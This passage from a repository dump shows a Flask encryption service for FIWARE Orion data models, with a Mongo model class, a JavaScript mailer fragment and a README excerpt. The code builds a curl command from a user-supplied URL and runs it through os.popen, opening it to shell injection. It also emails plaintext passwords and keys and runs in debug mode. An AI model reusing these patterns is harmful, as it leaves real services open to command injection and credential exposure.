HTML\n });\n \n // Override any default option and send email\n \n var filepath = 'key.txt'; // File to attach\n \n /*\n send({ // Overriding default parameters\n subject: 'Encryp Layer', // Override value set as default\n files: [ filepath ],\n }, function (err, res) {\n console.log('*1 send() callback returned: err:', err, '; res:', res);\n }); */\n \n send({ // Overriding default parameters\n subject: user, // Override value set as default\n files: [ // Array of files to attach\n {\n path: filepath,\n filename: 'key.txt' // You can override filename in the attachment if needed\n }\n ],\n }, function (err, res) {\n console.log('*2 send() callback returned: err:', err, '; res:', res);\n });\n}\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.6478758454322815, "avg_line_length": 25.06382942199707, "blob_id": "452d0face177b025e01da8bd8e81e40dc323182d", "content_id": "445314d54f574d846cb6c0882141171774a4b41f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1224, "license_type": "no_license", "max_line_length": 112, "num_lines": 47, "path": "/session-based/encrypt/Mongomodel.py", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nclass Mongomodel:\n\n\tdef __init__(self, user, email, hashed_pw):\n\t\tself.user = user\n\t\tself.email = email\n\t\t#self.out_url = out_url\n\t\tself.password = hashed_pw\n\n\tdef toDBCollection (self):\n\t\treturn{\n\t\t\t\"user\":self.user,\n\t\t\t\"email\":self.email,\n\t\t\t#\"out_url\":self.out_url, \n\t\t\t\"password\":self.password\n\t\t}\n\n\tdef __str__(self):\n\t\treturn \"User: %s - Email: %s - password: %s\" \\\n\t\t\t%(self.user, self.email, self.password)\n\nclass MongomodelRegister:\n\n\tdef __init__(self, user, service, hour, date, urlFrom,idEntity, typeEntity, urlTo):\n\t\tself.user = user\n\t\tself.service = service\n\t\tself.hour = hour\n\t\tself.date = date\n\t\tself.urlFrom = urlFrom\n\t\tself.idEntity = idEntity\n\t\tself.typeEntity = typeEntity\n\t\tself.urlTo = urlTo\n\tdef toDBCollection (self):\n\t\treturn{\n\t\t\t\"user\":self.user,\n\t\t\t\"service\":self.service,\n\t\t\t\"hour\":self.hour,\n\t\t\t\"date\":self.date,\n\t\t\t\"urlFrom\":self.urlFrom,\n\t\t\t\"idEntity\":self.idEntity,\n\t\t\t\"typeEntity\":self.typeEntity,\n\t\t\t\"urlTo\":self.urlTo\n\t\t}\n\n\tdef __str__(self):\n\t\treturn \"user: %s - service: %s - hour: %s - date: %s - urlFrom: %s - idEntity %s - typeEntity %s - urlTo %s\" \\\n\t\t\t%(self.user, self.service, self.hour, self.date, self.urlFrom, self.idEntity, self.typeEntity, self.urlTo)" }, { "alpha_fraction": 0.6113511919975281, "alphanum_fraction": 0.6135117411613464, "avg_line_length": 44.469207763671875, "blob_id": "04b138d237ea2a15b8b10b02a24df6414e5ade79", "content_id": "5fbdbcfdff1b32170a887ecb0c02959fe0795837", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31043, "license_type": "no_license", "max_line_length": 180, "num_lines": 682, "path": "/session-based/encrypt/encryption.py", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\n# Backend\nfrom flask import Flask\nfrom flask import request, render_template, jsonify, session, Response\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\n# Conect database\nfrom pymongo import MongoClient\nfrom Mongomodel import Mongomodel, MongomodelRegister\n# Send email\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nfrom validate_email import validate_email\n# Extras\nfrom collections import OrderedDict # Mantener orden de diccionario\nfrom time import strftime\nimport smtplib\nimport commands\nimport pprint # imprime por pantalla arreglos JSON en modo pretty()\nimport re, os, json, urllib2, urllib\n\n#Dirección de correo gmail\nfrom_address = os.environ['ngsi_address_send']\n#Ruta archivo de llaves\nruta_adjunto = './key.txt'\n#Nombre archivo de llaves\nnombre_adjunto = 'key.txt'\nusuarios = []\nemails = []\nurls = []\npasswords = []\n#Conexión al Server de MongoDB pasandole el host y el puerto\nMongoClient = MongoClient(\n\tos.environ['MONGOOCB_PORT_27017_TCP_ADDR'],\n\t27017)\n#Conexión a la base de datos \ndb = MongoClient.encryptpython \n#Conexión con la colección users\ncollection = db.users \n#Conexión con la colección registry\ncollectionReg = db.registry \n# Variable auxiliar para validar que sea una url de Orion correcta\nurlverify = 'v2/entities'\n\n#Retorna urlFromCompuesta y urlToCompuesta\ndef validateURL(urlFrom,urlTo,idEntity,typeEntity, fichero):\n if urlverify in urlFrom:\n if urlverify in urlTo:\n #Crea urlFrom para extraer entidad de oreon\n urlFromCompuesta = urlFrom+'/'+idEntity+'?type='+typeEntity\n #Crea urlTo para extraer entidad de oreon \n urlToCompuesta = urlTo+'/'+idEntity+'?type='+typeEntity \n #print(urlFromCompuesta)\n #print(urlToCompuesta)\n try:\n #Extraer modelo JSON del Orion de entrada\n\t\t\t\t\treq = urllib2.Request(urlFromCompuesta)\n #Cabeceras para hacer la petición al OCB\n\t\t\t\t\treq.add_header('Accept', 'application/json')\n\t\t\t\t\treq.add_header('Fiware-Service', 'default')\n\t\t\t\t\treq.add_header('Fiware-ServicePath', '/')\n # Obtener json de urlFromCompuesta\n\t\t\t\t\tresponse = urllib2.urlopen(req)\n #Ordenar datos del objeto JSON en orden de entrada\n\t\t\t\t\tdataurlFrom = json.loads(response.read(),object_pairs_hook=OrderedDict) \n \n #Función utilizada con urlib. Las peticiones no incluyen cabeceras\n #Obtener json de urlFromCompuesta\n #response = urllib.urlopen(urlFromCompuesta)\n # Ordenar datos de JSON en orden de entrada\n #dataurlFrom = json.loads(response.read(),object_pairs_hook=OrderedDict) \n except:\n #Si no se encuetra ningun objeto JSON se captura el error y se retorna un mensaje de advertencia\n return ('Invalid urlFrom')\n #return jsonify({'message':'Invalid urlFrom'})\n try:\n #la libreria urllib2 si no encuetra un modelo JSON en automatico retorna un error\n #Extraer modelo JSON del Orion de destino\n req = urllib2.Request(urlToCompuesta)\n #Cabeceras para hacer la petición al OCB\n req.add_header('Accept', 'application/json')\n req.add_header('Fiware-Service', 'default')\n req.add_header('Fiware-ServicePath', '/')\n # Obtener JSON de urlFromCompuesta\n response = urllib2.urlopen(req)\n #Ordenar datos del objeto JSON en orden de entrada\n dataurlTo = json.loads(response.read(),object_pairs_hook=OrderedDict) \n #response = urllib.urlopen(urlToCompuesta)# Obtener json de urlFromCompuesta\n #dataurlTo = json.loads(response.read(),object_pairs_hook=OrderedDict) # Ordenar datos de JSON en orden de entrada\n except:\n #Se captura el error y se asigna un valor por defecto a la variable dataurlTo\n dataurlTo = {\"error\": \"NotFound\",\"description\": \"The requested entity has not been found. Check type and id\"}\n #return('Invalid urlTo')\n #return jsonify({'message':'Invalid urlTo'}) \n else:\n return('Invalid Orion urlTo')\n #return jsonify({'message':'Invalid Orion urlTo'}) \n else:\n return('Invalid Orion urlFrom')\n #return jsonify({'message':'Invalid Orion urlFrom'})\n\n #Verifiacar existencia de la entidad en el orionTo \"urlTo\" \n idEnt = dataurlTo.get('id')\n typeEnt = dataurlTo.get('type')\n description = dataurlTo.get(\"description\")\n if idEntity == idEnt:\n if typeEntity == typeEnt:\n return('Stop Proccess: Model Already Exists in OrionTo')\n #return jsonify({'message':'Stop Proccess: Model Already Exists in OrionTo'})\n if \"service not found\" == description:\n return ('Invalid urlTo: service not found')\n #return jsonify({'message':'Invalid urlTo: service not found'})\n\n #Verificar json de entrada desde urlFrom\n idEnt = dataurlFrom.get(\"id\")\n typeEnt = dataurlFrom.get(\"type\")\n description = dataurlFrom.get(\"description\")\n if \"service not found\" == description:\n return('Invalid urlFrom: service not found')\n #return jsonify({'message':'Invalid urlFrom: service not found'})\n if idEntity == idEnt:\n if typeEntity == typeEnt:\n #Inserción de \"dataurlFrom\" en in.json desde Orion \"urlFrom\"\n with open(fichero,'w') as file: \n json.dump(dataurlFrom, file, indent=4)\t\n else:\n return('The requested entity has not been found. Check type and id')\n #return jsonify({'message':'The requested entity has not been found. Check type and id'})\n else:\n return('The requested entity has not been found. Check type and id')\n #return jsonify({'message':'The requested entity has not been found. Check type and id'}) \n return(urlFromCompuesta,urlToCompuesta) \n\n#Retorna urlFromCompuesta\ndef validateURL1(urlFrom,idEntity,typeEntity, fichero):\n if urlverify in urlFrom:\n urlFromCompuesta = urlFrom+'/'+idEntity+'?type='+typeEntity #componer urlFrom para extraer entidad de oreon \n print(urlFromCompuesta)\n try:\n\t\t\t\treq = urllib2.Request(urlFromCompuesta)\n\t\t\t\treq.add_header('Accept', 'application/json')\n\t\t\t\treq.add_header('Fiware-Service', 'default')\n\t\t\t\treq.add_header('Fiware-ServicePath', '/')\n\t\t\t\tresponse = urllib2.urlopen(req)# Obtener json de urlFromCompuesta\n\t\t\t\tdataurlFrom = json.loads(response.read(),object_pairs_hook=OrderedDict) # Ordenar datos de JSON en orden de entrada\n #response = urllib.urlopen(urlFromCompuesta)# Obtener json de urlFromCompuesta\n #dataurlFrom = json.loads(response.read(),object_pairs_hook=OrderedDict) # Ordenar datos de JSON en orden de entrada\n except:\n return ('Invalid urlFrom')\n #return jsonify({'message':'Invalid urlFrom'}) \n else:\n return('Invalid Orion urlFrom')\n #return jsonify({'message':'Invalid Orion urlFrom'})\n\n #Verificar json de entrada desde urlFrom\n idEnt = dataurlFrom.get(\"id\")\n typeEnt = dataurlFrom.get(\"type\")\n description = dataurlFrom.get(\"description\")\n if \"service not found\" == description:\n return('Invalid urlFrom: service not found')\n #return jsonify({'message':'Invalid urlFrom: service not found'})\n if idEntity == idEnt:\n if typeEntity == typeEnt:\n with open(fichero,'w') as file:# inserción de data en in.json desde Orion \"urlFrom\" \n json.dump(dataurlFrom, file, indent=4)\t\n else:\n return('The requested entity has not been found. Check type and id')\n #return jsonify({'message':'The requested entity has not been found. Check type and id'})\n else:\n return('The requested entity has not been found. Check type and id')\n #return jsonify({'message':'The requested entity has not been found. Check type and id'}) \n return(urlFromCompuesta) \n\n#Insertar Registro de actividades en mongo\ndef regMongo(user, service, urlFrom, idEntity, typeEntity, urlTo):\n try:\n service = service\n date = strftime(\"%y-%m-%d\")\n hour = strftime(\"%H:%M:%S\")\n log = [MongomodelRegister(user, service, hour, date, urlFrom, idEntity, typeEntity,urlTo)]\n for usuario in log:\n collectionReg.insert(usuario.toDBCollection())\n return('ok')\n except:\n return ('Error when doing activity log in Mongodb')\n\n#Inserción de out.json en oreon (Ajustar out.json a formato de entrada de datos oreon)\ndef insertOrion(urlTo, fichero):\n fileOut = fichero\n fichero = str('cat '+fichero)\n contenido=open(fileOut).read().splitlines() # Guardar contenido de out.json\n contenido.insert(0,\"curl \"+urlTo+\" -s -S -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Fiware-Service: default' -H 'Fiware-ServicePath: /' -d @- <<EOF\")\n f = open(fileOut, 'w')\n f.writelines(\"\\n\".join(contenido))\n f.write(\"\\n\"+\"EOF\")\n f.close()\n # Inserción del modelo encriptado en orion\n jsonfile = commands.getoutput(fichero) # Extrer contenido de out.json\n #Excepsión insercion del modelo en orion\n responceOrion = os.popen(jsonfile).read() # Ejecutar out.json\n if \"service not found\" in responceOrion:\n return ('Invalid Orion urlTo')\n if \"Already Exists\" in responceOrion:\n return ('Model Already Exists in Orion') \n #return('ok')\n return(responceOrion) \n\n#Enviar llaves por mail \ndef sendEMAIL(email, asunto, message):\n try:\n #Crear conexion con el servidor de correos\n smtp = smtplib.SMTP(\"smtp.gmail.com\", 587) \n # Cifrar la conexion con el servidor\n smtp.ehlo() \n smtp.starttls()\n smtp.ehlo()\n #Iniciar sesion en el correo \n \tsmtp.login(from_address,os.environ['ngsi_encrypt_pass'])\n #Crear objeto mensaje\n mensaje = MIMEMultipart() \n #Se establecen los atributos del mensaje\n mensaje[\"From\"] = from_address\n mensaje[\"To\"] = email\n mensaje[\"Subject\"]=(asunto)\n #Se agrega el cuerpo del mensaje como objeto MIME de tipo texto \n mensaje.attach(MIMEText((message), 'plain')) \n #Se envia el correo\n smtp.sendmail(from_address, email, mensaje.as_string()) \n #os.system(\"rm inencrypt.json && rm key.txt && rm outencrypt.json\")\n except:\n return ('Error send mail')\n\napplication = Flask(__name__)\[email protected]('/')\ndef index():\n return jsonify({'message': 'Welcome ENCRYPTJSON','version': 'v1.1'})\n\[email protected]('/home')\ndef home():\n if \"user\" in session:\n return jsonify({'message': 'Welcome ENCRYPTJSON','version': 'v1.1'})\n return jsonify({'mesagge': 'You must log in first.'})\n\n# Modificar URL de salida \[email protected]('/outurl', methods=[\"POST\"])\ndef outurl():\n\n if \"user\" in session:\n user = session[\"user\"] # obtener usuario desde la sesión\n out_url = request.form['out_url'] # Obtener url mediante formulario\n collection.update({\"user\":user},{'$set': {'out_url':out_url}}, multi=True) # Cambiando url_out\n cursor = collection.find_one({\"user\":user}) # Obtener documento actualizado del usario\n pprint.pprint(cursor)\n\n return jsonify({'message': \"URL de salida modificada por\",\"user\":user,'url modificada':out_url})\n\n return jsonify({'messsage':'You must log in first.'})\n\n# Cerrar sesión \[email protected]('/logout', methods=[\"POST\"])\ndef logout():\n session.pop(\"user\", None)\n\n return jsonify({'message':'You are logged out.'})\n\n# Iniciar sesión\[email protected]('/login', methods=[\"POST\"])\ndef login():\n try : \n user = request.form['name']\n password = request.form['password'] \n except:\n return jsonify({'message':'Enter user and password'})\n cursor = collection.find()\n print (cursor)\n for usuario in cursor:\n usuarios.append(usuario['user'])\n passwords.append(usuario['password'])\n \n if user in usuarios:\n position = usuarios.index(user)\n passw = str(passwords[position])\n check_password = check_password_hash(passw, password)\n if check_password is True:\n session[\"user\"] = user\n return jsonify({'message':'You are logged in'})\n else:\n return jsonify({'message':'Incorrect password'})\n else: \n return jsonify({'message':'Non-existent user'})\n\n# Registro usuario\[email protected]('/signup', methods=[\"POST\"])\ndef signup(): \n try:\n user = request.form['name']\n email = request.form['email']\n password = request.form['password']\n except:\n return jsonify({'message':'Enter user, email and password'})\n hashed_pw = generate_password_hash(password, method='sha256')\n\n # \"READ\" --> Lee los documentos de la base de datos\n cursor = collection.find()\n for usuario in cursor:\n usuarios.append(usuario['user'])\n emails.append(usuario['email'])\n # Control de usuarios \n if user in usuarios:\n return jsonify ({'message':'User already exists'})\n # Control de email\n if email in emails:\n return jsonify({'mesagge' : 'Email already exists'})\n # Validacion de email (gmail)\n trueEmail = validate_email(email, verify=True)\n if (trueEmail == True): \n if re.match('^[(a-z0-9\\_\\-\\.)][email protected]',email.lower()):\n # Enviar email de confirmación\n asunto = (\"Encryption as a Service, Successful register\")\n message = (\"User: \"+user+'\\n'+\"Password: \"+password)\n returnEmailMetod = sendEMAIL(email, asunto, message)\n print(returnEmailMetod)\n # \"CREATE\" \n log = [Mongomodel(user, email, hashed_pw)]\n for usuario in log:\n collection.insert(usuario.toDBCollection())\n return jsonify([{'message': 'User save successful'},{'usuario': user, 'email': email}])\n else:\n return jsonify({'mesage':'Its not an email gmail, re-enter email'})\n else:\n return jsonify({'message':'Nonexistent email, re-enter email'})\n\n#Decrypt JSON\[email protected]('/decrypt', methods=[\"POST\"])\ndef decrypt():\n if \"user\" in session:\n user = session['user']\n os.system('rm indecrypt.json && rm outdecrypt.json && rm key.txt')\n try:\n jsonfile = request.form['json'] #obtener json encryptado\n keys = request.form['key'] #obtener llaves\n except:\n return jsonify({'message': 'Enter json and key'})\n try:\n decoder = json.JSONDecoder(object_pairs_hook=OrderedDict) \n jsonfile = decoder.decode(jsonfile)\n except:\n return jsonify({'message':'JSON not valid'})\n idEntity = jsonfile.get('id')\n typeEntity = jsonfile.get('entity')\n with open('indecrypt.json','w') as file: # Guardar JSON de entrada\n json.dump(jsonfile, file, indent=4)\n f = open('key.txt','w') #Guardar keys de entrada \n f.write(keys)\n f.close()\n decryptResult = os.popen('java -jar decryptJSON.jar').readline()# Desencriptar\n if \"keys and values don't match\" in decryptResult:\n return jsonify({'message':\"keys and entities don't match\"})\n try:\n f = open('outdecrypt.json','r')\n except:\n return jsonify ({'message':\"keys and entities don't match\"})\n with f as file:\n try:\n contenido = json.load(file, object_pairs_hook=OrderedDict)\n except:\n return jsonify ({'message':'Invalid key'})\n os.system('rm indecrypt.json && rm outdecrypt.json && rm key.txt')\n # Insertar Registro de actividades en mongo\n service = ('decrypt')\n urlFrom = ''\n urlTo = ''\n registroMongo = [regMongo(user, service, idEntity, typeEntity, urlFrom, urlTo)]\n if 'error' in registroMongo:\n print (registroMongo) \n\n return '{}'.format(json.dumps(contenido,indent=4))\n\n return jsonify({'message': 'You must log in first.'})\n\n#Decrypt ORION\[email protected]('/decrypt/ocb', methods=[\"POST\"])\ndef decryptORION():\n if \"user\" in session:\n os.system('rm indecrypt.json && rm outdecrypt.json && rm key.txt')\n user = session['user'] # Obtener ususario de la sesión\n try :\n urlFrom = request.form['urlFrom'] #Obtener urFrom del formulario\n idEntity = request.form['id'] # Obtener id del formulario\n typeEntity = request.form['type'] # Obtener type del formulario\n urlTo = request.form['urlTo']# Obtener urlTo del formulario\n key = request.form['key']# Obtener key del formulario\n except:\n return jsonify({'message':'Enter urlFrom, urlTo, id, type and key'}) \n \n #Validar URLs\n fichero = 'indecrypt.json'\n urls = validateURL(str(urlFrom), str(urlTo), str(idEntity), str(typeEntity), str(fichero)) \n urlFromCompuesta = urls[0]\n if urlverify in urlFromCompuesta: \n urlToCompuesta = urls[1]\n else :\n return jsonify({'message':urls})\n \n f = open('key.txt','w') # Guardar llaves en key.txt\n key = f.writelines(key)\n f.close()\n\n #response = urllib.urlopen(urlFromCompuesta)# Obtener json de urlFrom\n #data = json.loads(response.read(),object_pairs_hook=OrderedDict) # Ordenar datos de JSON en orden de entrada\n try:#la libreria urllib2 si no encuetra una pagina en automatico retorna un error\n req = urllib2.Request(urlFromCompuesta)\n req.add_header('Accept', 'application/json')\n req.add_header('Fiware-Service', 'default')\n req.add_header('Fiware-ServicePath', '/')\n response = urllib2.urlopen(req)# Obtener json de urlFromCompuesta\n data = json.loads(response.read(),object_pairs_hook=OrderedDict) # Ordenar datos de JSON en orden de entrada\n except:#Se captura el error y se asigna un valor por defecto a la variable dataurlTo\n return('Invalid urlFrom')\n\n with open('indecrypt.json','w') as file:# inserción de data en in.json desde Orion \"urlFrom\" \n json.dump(data, file, indent=4) \n\n decryptResult = os.popen('java -jar decryptJSON.jar').readlines()# Desencriptar\n if \"keys and values don't match\" in decryptResult:\n return jsonify({'message':\"keys and entities don't match\"})\n try:\n f = open('outdecrypt.json','r')\n except:\n return jsonify ({'message':\"Keys and entities don't match!!!\"}) \n with f as file:\n try:\n contenido1 = json.load(file,object_pairs_hook=OrderedDict) \n except:\n return jsonify ({'message':'Invalid key'}) \n # Inserción de out.json en oreon (Ajustar out.json a formato de entrada de datos oreon)\n fichero = 'outdecrypt.json'\n returninsertOrion = insertOrion(urlTo, fichero)\n if \"orion\" in returninsertOrion:\n return jsonify ({'message': returninsertOrion})\n keys = open('key.txt').read() # Obeniendo las keys del archivo\n\n # Insertar Registro de actividades en mongo\n service = ('decrypt/ocb')\n registroMongo = [regMongo(user, service, urlFrom, idEntity, typeEntity, urlTo)]\n if 'error' in registroMongo:\n print (registroMongo) \n\n os.system('rm key.txt && rm in.json && rm out.json')\n return '{}'.format(json.dumps(contenido1,indent=4))\n return jsonify({'message': 'You must log in first.'})\n\n# Desencriptar de Orion a modelo local\[email protected]('/decrypt/ocb/local', methods=[\"POST\"])\ndef decryptLOCAL():\n if \"user\" in session:\n \tos.system(\"rm indecrypt.json && rm outdecrypt.json && rm key.txt\")\n user = session['user']# Obtener usuario\n try: #Excepción \"parametros de entrada\"\n urlFrom = request.form['urlFrom']\n idEntity = request.form['id']\n typeEntity = request.form['type']\n key = request.form['key']\n except:\n return jsonify({'message':'Enter urlFrom, id, type and key'})\n #Validar URLs\n fichero = 'indecrypt.json'\n urlFromCompuesta = validateURL1(str(urlFrom), str(idEntity), str(typeEntity), str(fichero)) \n if urlverify in urlFromCompuesta: \n urlFromCompuesta = urlFromCompuesta\n else:\n return jsonify({'message':urls})# retorna el error que retorna la funcion validateURL\n # \"READ\" --> Lee los documentos de la base de datos\n for data in collection.find({\"user\":user},{\"email\":1,\"_id\":0}):\n data = data #Obtener datos del usuario\n email = data.get(\"email\")\n\n f = open('key.txt','w') # Guardar llaves en key.txt\n key = f.writelines(key)\n f.close()\n \n decryptResult = os.popen('java -jar decryptJSON.jar').readlines()# Desencriptar\n if \"keys and values don't match\" in decryptResult:\n return jsonify({'message':\"keys and entities don't match\"})\n try:\n f = open('outdecrypt.json','r')\n except:\n return jsonify ({'message':\"Keys and entities don't match!!!\"}) \n with f as file:\n try:\n contenido = json.load(file,object_pairs_hook=OrderedDict) \n except:\n return jsonify ({'message':'Invalid key'}) \n id_outJSON = contenido.get('id')# obtener id del diccionario\n # Inserción de out.json en oreon (Ajustar out.json a formato de entrada de datos oreon)\n #fichero = \"outencrypt.json\"\n #returninsertOrion = insertOrion(urlTo, fichero)\n #if \"orion\" in returninsertOrion:\n # return jsonify ({'message': returninsertOrion})\n keys = open('key.txt').read() # Obeniendo las keys del archivo\n # Send keys email\n asunto = (\"Encrypted keys of the Orion, model ID: \" + id_outJSON)\n message = (\"TYPE: \"+typeEntity+\"\\n\"+\"User: \"+user+\"\\n\"+\"Keys:\"+\"\\n\"+keys)\n returnEmailMetod = sendEMAIL(email, asunto, message)\n #print = (returnEmailMetod)\n # Insertar Registro de actividades en mongo\n #service = ('encrypt/ocb/local')\n #registroMongo = [regMongo(user, service, urlFrom, id_outJSON, typeEntity)]\n #if 'error' in registroMongo:\n # print (registroMongo) \n #print(returninsertOrion)\n return '{}'.format(json.dumps(contenido,indent=4))\n return jsonify({'messsage':'You must log in first.'})\n\n# Encriptación JSON\[email protected]('/encrypt', methods=[\"POST\"])\ndef encrypt():\n if \"user\" in session:\n \tos.system(\"rm inencrypt.json && rm outencrypt.json && rm key.txt\")\n #obtener usuario desde la sesión\n user = session[\"user\"] \n for data in collection.find({\"user\":user},{\"email\":1,\"_id\":0}):\n #Obtener datos del usuario\n data = data \n #Obtener email del diccionario\n email = data.get('email') \n try:\n #Obtener JSON del formulario\n jsonfile = request.form['json'] \n except: \n return jsonify({'message':'Enter json'})\n try:\n #OrderecDict para mantener el orden del JSON de entrada\n decoder = json.JSONDecoder(object_pairs_hook=OrderedDict) \n jsonfile = decoder.decode(jsonfile)\n except:\n return jsonify({'message':'JSON not valid'})\n idEntity = jsonfile.get('id')\n typeEntity = jsonfile.get('type')\n #Guardar JSON en in.json\n with open('inencrypt.json', 'w') as file: \n json.dump(jsonfile, file, indent=4)\n os.system('rm key.txt')\n #Ejecución del programa java\n os.system(\"java -jar encryptJSON.jar\") \n\n #Obtener datos de out.json en orden de entrada\n with open('outencrypt.json','r') as file: \n contenido = json.load(file, object_pairs_hook=OrderedDict)\n id_outJSON = contenido.get('id')\n typeEntity = contenido.get('type')\n \n #Obeniendo las llaves del archivo\n keys = open('key.txt').read() \n\n #Send keys email\n asunto = (\"Encrypted keys of the Orion, model ID: \" + id_outJSON)\n message = (\"TYPE: \"+typeEntity+\"\\n\"+\"User: \"+user+\"\\n\"+\"Keys:\"+\"\\n\"+keys)\n returnEmailMetod = sendEMAIL(email, asunto, message)\n \n # Insertar Registro de actividades en mongo\n service = ('encrypt')\n urlFrom = ('')\n urlTo = ('')\n registroMongo = [regMongo(user, service, idEntity, typeEntity, urlFrom, urlTo)]\n if 'error' in registroMongo:\n print (registroMongo) \n os.system(\"rm inencrypt.json && rm outencrypt.json && rm key.txt\")\n return '{}'.format(json.dumps(contenido,indent=4))\n return jsonify({'message': 'You must log in first.'})\n\n# Encriptación Orion\[email protected]('/encrypt/ocb', methods=[\"POST\"])\ndef encryptORION():\n if \"user\" in session:\n \tos.system(\"rm inencrypt.json && rm outencrypt.json && rm key.txt\")\n user = session['user']# Obtener usuario\n try: #Excepción \"parametros de entrada\"\n urlFrom = request.form['urlFrom']\n urlTo = request.form['urlTo']\n idEntity = request.form['id']\n typeEntity = request.form['type']\n except:\n return jsonify({'message':'Enter urlFrom, urlTo, id and type'})\n #Validar URLs\n fichero = 'inencrypt.json'\n urls = validateURL(str(urlFrom), str(urlTo), str(idEntity), str(typeEntity), str(fichero)) \n urlFromCompuesta = urls[0]\n if urlverify in urlFromCompuesta: \n urlToCompuesta = urls[1]\n else :\n return jsonify({'message':urls})# retorna el error que retorna la funcion validateURL\n # \"READ\" --> Lee los documentos de la base de datos\n for data in collection.find({\"user\":user},{\"email\":1,\"_id\":0}):\n data = data #Obtener datos del usuario\n email = data.get(\"email\")\n \n os.system(\"java -jar encryptJSON.jar\")# Ejecucion del programa java\n \n with open('outencrypt.json','r') as file: # obtener datos de out.json en orden de entrada\n contenido = json.load(file, object_pairs_hook=OrderedDict)\n id_outJSON = contenido.get('id')# obtener id del diccionario\n # Inserción de out.json en oreon (Ajustar out.json a formato de entrada de datos oreon)\n fichero = \"outencrypt.json\"\n returninsertOrion = insertOrion(urlTo, fichero)\n if \"orion\" in returninsertOrion:\n return jsonify ({'message': returninsertOrion})\n keys = open('key.txt').read() # Obeniendo las keys del archivo\n # Send keys email\n asunto = (\"Encrypted keys of the Orion, model ID: \" + id_outJSON)\n message = (\"TYPE: \"+typeEntity+\"\\n\"+\"User: \"+user+\"\\n\"+\"Query url Orion: \"+urlToCompuesta+\"\\n\"+\"Keys:\"+\"\\n\"+keys)\n returnEmailMetod = sendEMAIL(email, asunto, message)\n #print = (returnEmailMetod)\n # Insertar Registro de actividades en mongo\n service = ('encrypt/ocb')\n registroMongo = [regMongo(user, service, urlFrom, id_outJSON, typeEntity, urlTo)]\n if 'error' in registroMongo:\n print (registroMongo) \n print(returninsertOrion)\n return jsonify([{'message':'Encrypt successful'}, {'UrlTo': urlToCompuesta},{'message':'Keys were sent to'},{'email':email}])\n return jsonify({'messsage':'You must log in first.'})\n\n# Encriptación de Orion a modelo local\[email protected]('/encrypt/ocb/local', methods=[\"POST\"])\ndef encryptLOCAL(): \n if \"user\" in session:\n \tos.system(\"rm inencrypt.json && rm outencrypt.json && rm key.txt\")\n user = session['user']# Obtener usuario\n try: #Excepción \"parametros de entrada\"\n urlFrom = request.form['urlFrom']\n idEntity = request.form['id']\n typeEntity = request.form['type']\n except:\n return jsonify({'message':'Enter urlFrom, id and type'})\n #Validar URLs\n fichero = 'inencrypt.json'\n urlFromCompuesta = validateURL1(str(urlFrom), str(idEntity), str(typeEntity), str(fichero)) \n if urlverify in urlFromCompuesta: \n urlFromCompuesta = urlFromCompuesta\n else:\n return jsonify({'message':urls})# retorna el error que retorna la funcion validateURL\n # \"READ\" --> Lee los documentos de la base de datos\n for data in collection.find({\"user\":user},{\"email\":1,\"_id\":0}):\n data = data #Obtener datos del usuario\n email = data.get(\"email\")\n \n os.system(\"java -jar encryptJSON.jar\")# Ejecucion del programa java\n \n with open('outencrypt.json','r') as file: # obtener datos de out.json en orden de entrada\n contenido = json.load(file, object_pairs_hook=OrderedDict)\n id_outJSON = contenido.get('id')# obtener id del diccionario\n # Inserción de out.json en oreon (Ajustar out.json a formato de entrada de datos oreon)\n #fichero = \"outencrypt.json\"\n #returninsertOrion = insertOrion(urlTo, fichero)\n #if \"orion\" in returninsertOrion:\n # return jsonify ({'message': returninsertOrion})\n keys = open('key.txt').read() # Obeniendo las keys del archivo\n # Send keys email\n asunto = (\"Encrypted keys of the Orion, model ID: \" + id_outJSON)\n message = (\"TYPE: \"+typeEntity+\"\\n\"+\"User: \"+user+\"\\n\"+\"Keys:\"+\"\\n\"+keys)\n returnEmailMetod = sendEMAIL(email, asunto, message)\n #print = (returnEmailMetod)\n # Insertar Registro de actividades en mongo\n #service = ('encrypt/ocb/local')\n #registroMongo = [regMongo(user, service, urlFrom, id_outJSON, typeEntity)]\n #if 'error' in registroMongo:\n # print (registroMongo) \n #print(returninsertOrion)\n return '{}'.format(json.dumps(contenido,indent=4))\n return jsonify({'messsage':'You must log in first.'})\n\n\napplication.secret_key = os.environ.get('S_ASDW_K','') \nif __name__== '__main__':\n application.run(debug = True, port = 8000) \n\n#-------------------------------------#\n# pip install pymongo validate_email PyDNS\n" }, { "alpha_fraction": 0.7806201577186584, "alphanum_fraction": 0.7979328036308289, "avg_line_length": 83.10869598388672, "blob_id": "a05676886291f21a35cdce43a89e34aff7289d3c", "content_id": "28e7ca4826922b6ed8dd15f6460e022ab7cf0d53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3870, "license_type": "no_license", "max_line_length": 455, "num_lines": 46, "path": "/README.md", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "# NGSI-Encryption-Layer-as-a-Service\n\nThis document describes the encryption service developed at ITESM as a tool for encrypting and decrypting [FIWARE data models](https://www.fiware.org/developers/data-models/). \n\n[FIWARE](https://www.fiware.org/) is a curated framework of open source platform components to accelerate the development of Smart solutions. The [FIWARE platform](https://www.fiware.org/developers/catalogue/) provides a rather simple yet powerful set of APIs (Application Programming Interfaces) that ease the development of Smart Applications in multiple vertical sectors. \n\nThe main and only mandatory component of any \"Powered by FIWARE\" platform or solution is the [FIWARE Orion Context Broker Generic Enabler](https://fiware-orion.readthedocs.io/en/master/), which brings a cornerstone function in any smart solution: the need to manage context information in a highly decentralized and large-scale manner, enabling to perform updates and bring access to context.\n\n[FIWARE data models](https://www.fiware.org/developers/data-models/) have been harmonized to enable data portability for different applications including, but not limited, to Smart Cities. They are intended to be used together with [FIWARE NGSI version 2](https://www.fiware.org/2016/06/08/fiware-ngsi-version-2-release-candidate/).\n\nThe application can be seen as two stand-alone services, one that uses tokens as 